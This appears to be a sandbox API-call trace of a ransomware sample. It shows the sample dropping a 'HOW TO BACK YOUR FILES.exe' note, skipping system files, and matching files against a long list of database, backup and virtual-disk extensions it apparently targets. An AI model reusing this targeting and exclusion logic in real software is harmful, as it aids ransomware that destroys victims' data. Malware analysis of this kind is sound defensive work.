	[0070.624] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.630] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.630] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x422be490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x422be490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.630] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.630] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.630] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0070.630] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x422be490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x422be490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.632] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.632] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.632] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0070.632] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0070.632] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ALERT.ICO", cAlternateFileName="")) returned 1
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2="Apollon865.txt.exe") returned -1
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2=".") returned 1
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2="..") returned 1
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2="windows") returned -1
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2="bootmgr") returned -1
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2="temp") returned -1
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2="pagefile.sys") returned -1
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2="boot") returned -1
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2="ids.txt") returned -1
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2="ntuser.dat") returned -1
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2="perflogs") returned -1
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2="MSBuild") returned -1
	[0070.632] lstrlenW (lpString="ALERT.ICO") returned 9
	[0070.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*") returned 61
	[0070.632] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="ALERT.ICO" | out: lpString1="ALERT.ICO") returned="ALERT.ICO"
	[0070.632] lstrlenW (lpString="ALERT.ICO") returned 9
	[0070.632] lstrlenW (lpString="Apollon865") returned 10
	[0070.632] lstrlenW (lpString=".dll") returned 4
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2=".dll") returned 1
	[0070.632] lstrlenW (lpString=".lnk") returned 4
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2=".lnk") returned 1
	[0070.632] lstrlenW (lpString=".ini") returned 4
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2=".ini") returned 1
	[0070.632] lstrlenW (lpString=".sys") returned 4
	[0070.632] lstrcmpiW (lpString1="ALERT.ICO", lpString2=".sys") returned 1
	[0070.632] lstrlenW (lpString="ALERT.ICO") returned 9
	[0070.632] lstrlenW (lpString="bak") returned 3
	[0070.632] lstrcmpiW (lpString1="ICO", lpString2="bak") returned 1
	[0070.632] lstrlenW (lpString="ba_") returned 3
	[0070.632] lstrcmpiW (lpString1="ICO", lpString2="ba_") returned 1
	[0070.633] lstrlenW (lpString="dbb") returned 3
	[0070.633] lstrcmpiW (lpString1="ICO", lpString2="dbb") returned 1
	[0070.633] lstrlenW (lpString="vmdk") returned 4
	[0070.633] lstrcmpiW (lpString1=".ICO", lpString2="vmdk") returned -1
	[0070.633] lstrlenW (lpString="rar") returned 3
	[0070.633] lstrcmpiW (lpString1="ICO", lpString2="rar") returned -1
	[0070.633] lstrlenW (lpString="zip") returned 3
	[0070.633] lstrcmpiW (lpString1="ICO", lpString2="zip") returned -1
	[0070.633] lstrlenW (lpString="tgz") returned 3
	[0070.633] lstrcmpiW (lpString1="ICO", lpString2="tgz") returned -1
	[0070.633] lstrlenW (lpString="vbox") returned 4
	[0070.633] lstrcmpiW (lpString1=".ICO", lpString2="vbox") returned -1
	[0070.633] lstrlenW (lpString="vdi") returned 3
	[0070.633] lstrcmpiW (lpString1="ICO", lpString2="vdi") returned -1
	[0070.633] lstrlenW (lpString="vhd") returned 3
	[0070.633] lstrcmpiW (lpString1="ICO", lpString2="vhd") returned -1
	[0070.633] lstrlenW (lpString="vhdx") returned 4
	[0070.633] lstrcmpiW (lpString1=".ICO", lpString2="vhdx") returned -1
	[0070.633] lstrlenW (lpString="avhd") returned 4
	[0070.633] lstrcmpiW (lpString1=".ICO", lpString2="avhd") returned -1
	[0070.633] lstrlenW (lpString="db") returned 2
	[0070.633] lstrcmpiW (lpString1="CO", lpString2="db") returned -1
	[0070.633] lstrlenW (lpString="db2") returned 3
	[0070.633] lstrcmpiW (lpString1="ICO", lpString2="db2") returned 1
	[0070.633] lstrlenW (lpString="db3") returned 3
	[0070.633] lstrcmpiW (lpString1="ICO", lpString2="db3") returned 1
	[0070.633] lstrlenW (lpString="dbf") returned 3
	[0070.633] lstrcmpiW (lpString1="ICO", lpString2="dbf") returned 1
	[0070.633] lstrlenW (lpString="mdf") returned 3
	[0070.633] lstrcmpiW (lpString1="ICO", lpString2="mdf") returned -1
	[0070.633] lstrlenW (lpString="mdb") returned 3
	[0070.633] lstrcmpiW (lpString1="ICO", lpString2="mdb") returned -1
	[0070.633] lstrlenW (lpString="sql") returned 3
	[0070.633] lstrcmpiW (lpString1="ICO", lpString2="sql") returned -1
	[0070.633] lstrlenW (lpString="sqlite") returned 6
	[0070.633] lstrcmpiW (lpString1="RT.ICO", lpString2="sqlite") returned -1
	[0070.633] lstrlenW (lpString="sqlite3") returned 7
	[0070.633] lstrcmpiW (lpString1="ERT.ICO", lpString2="sqlite3") returned -1
	[0070.634] lstrlenW (lpString="sqlitedb") returned 8
	[0070.634] lstrcmpiW (lpString1="LERT.ICO", lpString2="sqlitedb") returned -1
	[0070.634] lstrlenW (lpString="xml") returned 3
	[0070.634] lstrcmpiW (lpString1="ICO", lpString2="xml") returned -1
	[0070.634] lstrlenW (lpString="$er") returned 3
	[0070.634] lstrcmpiW (lpString1="ICO", lpString2="$er") returned 1
	[0070.634] lstrlenW (lpString="4dd") returned 3
	[0070.634] lstrcmpiW (lpString1="ICO", lpString2="4dd") returned 1
	[0070.634] lstrlenW (lpString="4dl") returned 3
	[0070.634] lstrcmpiW (lpString1="ICO", lpString2="4dl") returned 1
	[0070.634] lstrlenW (lpString="^^^") returned 3
	[0070.634] lstrcmpiW (lpString1="ICO", lpString2="^^^") returned 1
	[0070.634] lstrlenW (lpString="abs") returned 3
	[0070.634] lstrcmpiW (lpString1="ICO", lpString2="abs") returned 1
	[0070.634] lstrlenW (lpString="abx") returned 3
	[0070.634] lstrcmpiW (lpString1="ICO", lpString2="abx") returned 1
	[0070.634] lstrlenW (lpString="accdb") returned 5
	[0070.634] lstrcmpiW (lpString1="T.ICO", lpString2="accdb") returned 1
	[0070.634] lstrlenW (lpString="accdc") returned 5
	[0070.634] lstrcmpiW (lpString1="T.ICO", lpString2="accdc") returned 1
	[0070.634] lstrlenW (lpString="accde") returned 5
	[0070.634] lstrcmpiW (lpString1="T.ICO", lpString2="accde") returned 1
	[0070.634] lstrlenW (lpString="accdr") returned 5
	[0070.634] lstrcmpiW (lpString1="T.ICO", lpString2="accdr") returned 1
	[0070.634] lstrlenW (lpString="accdt") returned 5
	[0070.634] lstrcmpiW (lpString1="T.ICO", lpString2="accdt") returned 1
	[0070.634] lstrlenW (lpString="accdw") returned 5
	[0070.634] lstrcmpiW (lpString1="T.ICO", lpString2="accdw") returned 1
	[0070.634] lstrlenW (lpString="accft") returned 5
	[0070.634] lstrcmpiW (lpString1="T.ICO", lpString2="accft") returned 1
	[0070.634] lstrlenW (lpString="adb") returned 3
	[0070.634] lstrcmpiW (lpString1="ICO", lpString2="adb") returned 1
	[0070.634] lstrlenW (lpString="adb") returned 3
	[0070.634] lstrcmpiW (lpString1="ICO", lpString2="adb") returned 1
	[0070.634] lstrlenW (lpString="ade") returned 3
	[0070.634] lstrcmpiW (lpString1="ICO", lpString2="ade") returned 1
	[0070.634] lstrlenW (lpString="adf") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="adf") returned 1
	[0070.635] lstrlenW (lpString="adn") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="adn") returned 1
	[0070.635] lstrlenW (lpString="adp") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="adp") returned 1
	[0070.635] lstrlenW (lpString="alf") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="alf") returned 1
	[0070.635] lstrlenW (lpString="ask") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="ask") returned 1
	[0070.635] lstrlenW (lpString="btr") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="btr") returned 1
	[0070.635] lstrlenW (lpString="cat") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="cat") returned 1
	[0070.635] lstrlenW (lpString="cdb") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="cdb") returned 1
	[0070.635] lstrlenW (lpString="ckp") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="ckp") returned 1
	[0070.635] lstrlenW (lpString="cma") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="cma") returned 1
	[0070.635] lstrlenW (lpString="cpd") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="cpd") returned 1
	[0070.635] lstrlenW (lpString="dacpac") returned 6
	[0070.635] lstrcmpiW (lpString1="RT.ICO", lpString2="dacpac") returned 1
	[0070.635] lstrlenW (lpString="dad") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="dad") returned 1
	[0070.635] lstrlenW (lpString="dadiagrams") returned 10
	[0070.635] lstrlenW (lpString="daschema") returned 8
	[0070.635] lstrcmpiW (lpString1="LERT.ICO", lpString2="daschema") returned 1
	[0070.635] lstrlenW (lpString="db-journal") returned 10
	[0070.635] lstrlenW (lpString="db-shm") returned 6
	[0070.635] lstrcmpiW (lpString1="RT.ICO", lpString2="db-shm") returned 1
	[0070.635] lstrlenW (lpString="db-wal") returned 6
	[0070.635] lstrcmpiW (lpString1="RT.ICO", lpString2="db-wal") returned 1
	[0070.635] lstrlenW (lpString="dbc") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="dbc") returned 1
	[0070.635] lstrlenW (lpString="dbs") returned 3
	[0070.635] lstrcmpiW (lpString1="ICO", lpString2="dbs") returned 1
	[0070.635] lstrlenW (lpString="dbt") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="dbt") returned 1
	[0070.636] lstrlenW (lpString="dbv") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="dbv") returned 1
	[0070.636] lstrlenW (lpString="dbx") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="dbx") returned 1
	[0070.636] lstrlenW (lpString="dcb") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="dcb") returned 1
	[0070.636] lstrlenW (lpString="dct") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="dct") returned 1
	[0070.636] lstrlenW (lpString="dcx") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="dcx") returned 1
	[0070.636] lstrlenW (lpString="ddl") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="ddl") returned 1
	[0070.636] lstrlenW (lpString="dlis") returned 4
	[0070.636] lstrcmpiW (lpString1=".ICO", lpString2="dlis") returned -1
	[0070.636] lstrlenW (lpString="dp1") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="dp1") returned 1
	[0070.636] lstrlenW (lpString="dqy") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="dqy") returned 1
	[0070.636] lstrlenW (lpString="dsk") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="dsk") returned 1
	[0070.636] lstrlenW (lpString="dsn") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="dsn") returned 1
	[0070.636] lstrlenW (lpString="dtsx") returned 4
	[0070.636] lstrcmpiW (lpString1=".ICO", lpString2="dtsx") returned -1
	[0070.636] lstrlenW (lpString="dxl") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="dxl") returned 1
	[0070.636] lstrlenW (lpString="eco") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="eco") returned 1
	[0070.636] lstrlenW (lpString="ecx") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="ecx") returned 1
	[0070.636] lstrlenW (lpString="edb") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="edb") returned 1
	[0070.636] lstrlenW (lpString="epim") returned 4
	[0070.636] lstrcmpiW (lpString1=".ICO", lpString2="epim") returned -1
	[0070.636] lstrlenW (lpString="fcd") returned 3
	[0070.636] lstrcmpiW (lpString1="ICO", lpString2="fcd") returned 1
	[0070.637] lstrlenW (lpString="fdb") returned 3
	[0070.637] lstrcmpiW (lpString1="ICO", lpString2="fdb") returned 1
	[0070.637] lstrlenW (lpString="fic") returned 3
	[0070.637] lstrcmpiW (lpString1="ICO", lpString2="fic") returned 1
	[0070.637] lstrlenW (lpString="flexolibrary") returned 12
	[0070.637] lstrlenW (lpString="fm5") returned 3
	[0070.637] lstrcmpiW (lpString1="ICO", lpString2="fm5") returned 1
	[0070.637] lstrlenW (lpString="fmp") returned 3
	[0070.637] lstrcmpiW (lpString1="ICO", lpString2="fmp") returned 1
	[0070.637] lstrlenW (lpString="fmp12") returned 5
	[0070.637] lstrcmpiW (lpString1="T.ICO", lpString2="fmp12") returned 1
	[0070.637] lstrlenW (lpString="fmpsl") returned 5
	[0070.637] lstrcmpiW (lpString1="T.ICO", lpString2="fmpsl") returned 1
	[0070.637] lstrlenW (lpString="fol") returned 3
	[0070.637] lstrcmpiW (lpString1="ICO", lpString2="fol") returned 1
	[0070.637] lstrlenW (lpString="fp3") returned 3
	[0070.637] lstrcmpiW (lpString1="ICO", lpString2="fp3") returned 1
	[0070.637] lstrlenW (lpString="fp4") returned 3
	[0070.637] lstrcmpiW (lpString1="ICO", lpString2="fp4") returned 1
	[0070.637] lstrlenW (lpString="fp5") returned 3
	[0070.637] lstrcmpiW (lpString1="ICO", lpString2="fp5") returned 1
	[0070.637] lstrlenW (lpString="fp7") returned 3
	[0070.637] lstrcmpiW (lpString1="ICO", lpString2="fp7") returned 1
	[0070.637] lstrlenW (lpString="fpt") returned 3
	[0070.637] lstrcmpiW (lpString1="ICO", lpString2="fpt") returned 1
	[0070.637] lstrlenW (lpString="frm") returned 3
	[0070.637] lstrcmpiW (lpString1="ICO", lpString2="frm") returned 1
	[0070.637] lstrlenW (lpString="gdb") returned 3
	[0070.637] lstrcmpiW (lpString1="ICO", lpString2="gdb") returned 1
	[0070.637] lstrlenW (lpString="gdb") returned 3
	[0070.637] lstrcmpiW (lpString1="ICO", lpString2="gdb") returned 1
	[0070.637] lstrlenW (lpString="grdb") returned 4
	[0070.637] lstrcmpiW (lpString1=".ICO", lpString2="grdb") returned -1
	[0070.638] lstrlenW (lpString="gwi") returned 3
	[0070.638] lstrcmpiW (lpString1="ICO", lpString2="gwi") returned 1
	[0070.638] lstrlenW (lpString="hdb") returned 3
	[0070.638] lstrcmpiW (lpString1="ICO", lpString2="hdb") returned 1
	[0070.638] lstrlenW (lpString="his") returned 3
	[0070.638] lstrcmpiW (lpString1="ICO", lpString2="his") returned 1
	[0070.638] lstrlenW (lpString="ib") returned 2
	[0070.638] lstrcmpiW (lpString1="CO", lpString2="ib") returned -1
	[0070.638] lstrlenW (lpString="idb") returned 3
	[0070.638] lstrcmpiW (lpString1="ICO", lpString2="idb") returned -1
	[0070.638] lstrlenW (lpString="ihx") returned 3
	[0070.638] lstrcmpiW (lpString1="ICO", lpString2="ihx") returned -1
	[0070.638] lstrlenW (lpString="itdb") returned 4
	[0070.638] lstrcmpiW (lpString1=".ICO", lpString2="itdb") returned -1
	[0070.638] lstrlenW (lpString="itw") returned 3
	[0070.638] lstrcmpiW (lpString1="ICO", lpString2="itw") returned -1
	[0070.638] lstrlenW (lpString="jet") returned 3
	[0070.638] lstrcmpiW (lpString1="ICO", lpString2="jet") returned -1
	[0070.638] lstrlenW (lpString="jtx") returned 3
	[0070.638] lstrcmpiW (lpString1="ICO", lpString2="jtx") returned -1
	[0070.638] lstrlenW (lpString="kdb") returned 3
	[0070.638] lstrcmpiW (lpString1="ICO", lpString2="kdb") returned -1
	[0070.638] lstrlenW (lpString="kexi") returned 4
	[0070.638] lstrcmpiW (lpString1=".ICO", lpString2="kexi") returned -1
	[0070.638] lstrlenW (lpString="kexic") returned 5
	[0070.638] lstrcmpiW (lpString1="T.ICO", lpString2="kexic") returned 1
	[0070.638] lstrlenW (lpString="kexis") returned 5
	[0070.638] lstrcmpiW (lpString1="T.ICO", lpString2="kexis") returned 1
	[0070.638] lstrlenW (lpString="lgc") returned 3
	[0070.638] lstrcmpiW (lpString1="ICO", lpString2="lgc") returned -1
	[0070.638] lstrlenW (lpString="lwx") returned 3
	[0070.638] lstrcmpiW (lpString1="ICO", lpString2="lwx") returned -1
	[0070.638] lstrlenW (lpString="maf") returned 3
	[0070.638] lstrcmpiW (lpString1="ICO", lpString2="maf") returned -1
	[0070.638] lstrlenW (lpString="maq") returned 3
	[0070.638] lstrcmpiW (lpString1="ICO", lpString2="maq") returned -1
	[0070.638] lstrlenW (lpString="mar") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="mar") returned -1
	[0070.639] lstrlenW (lpString="marshal") returned 7
	[0070.639] lstrcmpiW (lpString1="ERT.ICO", lpString2="marshal") returned -1
	[0070.639] lstrlenW (lpString="mas") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="mas") returned -1
	[0070.639] lstrlenW (lpString="mav") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="mav") returned -1
	[0070.639] lstrlenW (lpString="maw") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="maw") returned -1
	[0070.639] lstrlenW (lpString="mdbhtml") returned 7
	[0070.639] lstrcmpiW (lpString1="ERT.ICO", lpString2="mdbhtml") returned -1
	[0070.639] lstrlenW (lpString="mdn") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="mdn") returned -1
	[0070.639] lstrlenW (lpString="mdt") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="mdt") returned -1
	[0070.639] lstrlenW (lpString="mfd") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="mfd") returned -1
	[0070.639] lstrlenW (lpString="mpd") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="mpd") returned -1
	[0070.639] lstrlenW (lpString="mrg") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="mrg") returned -1
	[0070.639] lstrlenW (lpString="mud") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="mud") returned -1
	[0070.639] lstrlenW (lpString="mwb") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="mwb") returned -1
	[0070.639] lstrlenW (lpString="myd") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="myd") returned -1
	[0070.639] lstrlenW (lpString="ndf") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="ndf") returned -1
	[0070.639] lstrlenW (lpString="nnt") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="nnt") returned -1
	[0070.639] lstrlenW (lpString="nrmlib") returned 6
	[0070.639] lstrcmpiW (lpString1="RT.ICO", lpString2="nrmlib") returned 1
	[0070.639] lstrlenW (lpString="ns2") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="ns2") returned -1
	[0070.639] lstrlenW (lpString="ns3") returned 3
	[0070.639] lstrcmpiW (lpString1="ICO", lpString2="ns3") returned -1
	[0070.639] lstrlenW (lpString="ns4") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="ns4") returned -1
	[0070.640] lstrlenW (lpString="nsf") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="nsf") returned -1
	[0070.640] lstrlenW (lpString="nv") returned 2
	[0070.640] lstrcmpiW (lpString1="CO", lpString2="nv") returned -1
	[0070.640] lstrlenW (lpString="nv2") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="nv2") returned -1
	[0070.640] lstrlenW (lpString="nwdb") returned 4
	[0070.640] lstrcmpiW (lpString1=".ICO", lpString2="nwdb") returned -1
	[0070.640] lstrlenW (lpString="nyf") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="nyf") returned -1
	[0070.640] lstrlenW (lpString="odb") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="odb") returned -1
	[0070.640] lstrlenW (lpString="odb") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="odb") returned -1
	[0070.640] lstrlenW (lpString="oqy") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="oqy") returned -1
	[0070.640] lstrlenW (lpString="ora") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="ora") returned -1
	[0070.640] lstrlenW (lpString="orx") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="orx") returned -1
	[0070.640] lstrlenW (lpString="owc") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="owc") returned -1
	[0070.640] lstrlenW (lpString="p96") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="p96") returned -1
	[0070.640] lstrlenW (lpString="p97") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="p97") returned -1
	[0070.640] lstrlenW (lpString="pan") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="pan") returned -1
	[0070.640] lstrlenW (lpString="pdb") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="pdb") returned -1
	[0070.640] lstrlenW (lpString="pdm") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="pdm") returned -1
	[0070.640] lstrlenW (lpString="pnz") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="pnz") returned -1
	[0070.640] lstrlenW (lpString="qry") returned 3
	[0070.640] lstrcmpiW (lpString1="ICO", lpString2="qry") returned -1
	[0070.641] lstrlenW (lpString="qvd") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="qvd") returned -1
	[0070.641] lstrlenW (lpString="rbf") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="rbf") returned -1
	[0070.641] lstrlenW (lpString="rctd") returned 4
	[0070.641] lstrcmpiW (lpString1=".ICO", lpString2="rctd") returned -1
	[0070.641] lstrlenW (lpString="rod") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="rod") returned -1
	[0070.641] lstrlenW (lpString="rodx") returned 4
	[0070.641] lstrcmpiW (lpString1=".ICO", lpString2="rodx") returned -1
	[0070.641] lstrlenW (lpString="rpd") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="rpd") returned -1
	[0070.641] lstrlenW (lpString="rsd") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="rsd") returned -1
	[0070.641] lstrlenW (lpString="sas7bdat") returned 8
	[0070.641] lstrcmpiW (lpString1="LERT.ICO", lpString2="sas7bdat") returned -1
	[0070.641] lstrlenW (lpString="sbf") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="sbf") returned -1
	[0070.641] lstrlenW (lpString="scx") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="scx") returned -1
	[0070.641] lstrlenW (lpString="sdb") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="sdb") returned -1
	[0070.641] lstrlenW (lpString="sdc") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="sdc") returned -1
	[0070.641] lstrlenW (lpString="sdf") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="sdf") returned -1
	[0070.641] lstrlenW (lpString="sis") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="sis") returned -1
	[0070.641] lstrlenW (lpString="spq") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="spq") returned -1
	[0070.641] lstrlenW (lpString="te") returned 2
	[0070.641] lstrcmpiW (lpString1="CO", lpString2="te") returned -1
	[0070.641] lstrlenW (lpString="teacher") returned 7
	[0070.641] lstrcmpiW (lpString1="ERT.ICO", lpString2="teacher") returned -1
	[0070.641] lstrlenW (lpString="tmd") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="tmd") returned -1
	[0070.641] lstrlenW (lpString="tps") returned 3
	[0070.641] lstrcmpiW (lpString1="ICO", lpString2="tps") returned -1
	[0070.642] lstrlenW (lpString="trc") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="trc") returned -1
	[0070.642] lstrlenW (lpString="trc") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="trc") returned -1
	[0070.642] lstrlenW (lpString="trm") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="trm") returned -1
	[0070.642] lstrlenW (lpString="udb") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="udb") returned -1
	[0070.642] lstrlenW (lpString="udl") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="udl") returned -1
	[0070.642] lstrlenW (lpString="usr") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="usr") returned -1
	[0070.642] lstrlenW (lpString="v12") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="v12") returned -1
	[0070.642] lstrlenW (lpString="vis") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="vis") returned -1
	[0070.642] lstrlenW (lpString="vpd") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="vpd") returned -1
	[0070.642] lstrlenW (lpString="vvv") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="vvv") returned -1
	[0070.642] lstrlenW (lpString="wdb") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="wdb") returned -1
	[0070.642] lstrlenW (lpString="wmdb") returned 4
	[0070.642] lstrcmpiW (lpString1=".ICO", lpString2="wmdb") returned -1
	[0070.642] lstrlenW (lpString="wrk") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="wrk") returned -1
	[0070.642] lstrlenW (lpString="xdb") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="xdb") returned -1
	[0070.642] lstrlenW (lpString="xld") returned 3
	[0070.642] lstrcmpiW (lpString1="ICO", lpString2="xld") returned -1
	[0070.642] lstrlenW (lpString="xmlff") returned 5
	[0070.642] lstrcmpiW (lpString1="T.ICO", lpString2="xmlff") returned -1
